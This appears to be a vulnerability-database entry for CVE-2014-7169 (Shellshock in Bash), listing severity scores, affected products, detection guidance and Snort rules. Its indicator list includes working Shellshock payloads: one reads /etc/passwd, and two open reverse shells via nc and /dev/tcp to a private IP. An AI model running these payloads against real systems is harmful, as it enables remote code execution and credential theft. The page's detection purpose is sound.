cbcvebase.
CVE-2014-7169
published 2014-09-25

CVE-2014-7169: GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows…

PriorityP194critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-07-28
Exploited in the wild
EPSS
99.94%
100.0th percentile
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.

Affected

288 ranges· showing 25
VendorProductVersion rangeFixed in
applemac_os_x>= 10.0.0 < 10.10.010.10.0
aristaeos>= 4.10.0 < 4.10.94.10.9
aristaeos>= 4.11.0 < 4.11.114.11.11
aristaeos>= 4.12.0 < 4.12.94.12.9
aristaeos>= 4.13.0 < 4.13.94.13.9
aristaeos>= 4.14.0 < 4.14.4f4.14.4f
aristaeos>= 4.9.0 < 4.9.124.9.12
canonicalubuntu_linux
canonicalubuntu_linux
canonicalubuntu_linux
checkpointsecurity_gateway< r77.30r77.30
citrixcitrix_adm
citrixcitrix_hypervisor
citrixcitrix_netscaler_adc
citrixcitrix_netscaler_sdx
citrixcitrix_virtual_apps_and_desktops
citrixcitrix_xenapp
citrixcitrix_xendesktop
citrixcitrix_xenmobile
citrixcitrix_xenserver
citrixendpoint_management
citrixnetscaler_adc
citrixnetscaler_gateway
citrixnetscaler_sdx
citrixnetscaler_sdx_firmware< 9.3.67.5r19.3.67.5r1

Detection & IOCsextracted from sources · hover to see the quote

hash2d3e0be24ef668b85ed48e81ebb50dce50612fb8dce96879f80306701bc41614
hash3b13eef9b24919dc7e7071068a83defcc4808a41dc86fadf039e08dce1107f7d
hash73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489
hashae3b4f296957ee0a208003569647f04e585775be1f3992921af996b320cf520b
hashed0d79e9232f5584d58a6dfd9fb5cff6
command() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
commandenv x='() { :;}; echo vulnerable' bash -c "echo this is a test"
path/cgi-bin/status
path/cgi-bin/stats
path/cgi-bin/test
path/cgi-bin/status/status.cgi
path/test.cgi
path/debug.cgi
path/cgi-bin/test-cgi
path/cgi-bin/test.cgi
command() { ignored;}; /bin/nc -e /bin/bash localhost 7777
command() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &
snort
SIDs 31975-31978 & SID 31985
  • Detect Shellshock exploitation attempts by inspecting HTTP headers (User-Agent, Referer, Cookie, custom headers) for the pattern '() {' followed by command injection strings. The nuclei template uses a custom 'Shellshock' header and matches response body for 'root:.*:0:0:' (passwd file content).
  • Snort SIDs 31975-31978 and 31985 cover detection for both CVE-2014-6271 and CVE-2014-7169 exploitation conditions.
  • ClamAV signature 'Linux.Flooder.Agent' detects ELF binaries dropped via wget in observed Shellshock exploitation campaigns.
  • The vulnerability trigger is an environment variable whose value starts with the 4-byte string '() {'. Monitor process environments and CGI inputs for this pattern.
  • DHCP exploitation vector: monitor DHCP option fields (e.g., dump_path / option 114) for Shellshock payloads starting with '() {'. The PoC exploit injects the payload via DHCP offer/ack packets on UDP ports 67/68.
  • Probe CGI paths commonly targeted in Shellshock scans: /cgi-bin/status, /cgi-bin/stats, /cgi-bin/test, /cgi-bin/status/status.cgi, /test.cgi, /debug.cgi, /cgi-bin/test-cgi, /cgi-bin/test.cgi.
  • ·The initial patch for CVE-2014-6271 does not fully remediate the vulnerability; CVE-2014-7169 represents the incomplete fix. Systems must apply updated patches specifically addressing CVE-2014-7169.
  • ·The Tenable Appliance is vulnerable via its DHCP client and the unauthenticated simpleupload.html page (present from version 2.6.2 onward).
  • ·Industrial control systems running embedded Linux may not be field-upgradeable and require alternate mitigations.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
vendor_cisco7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.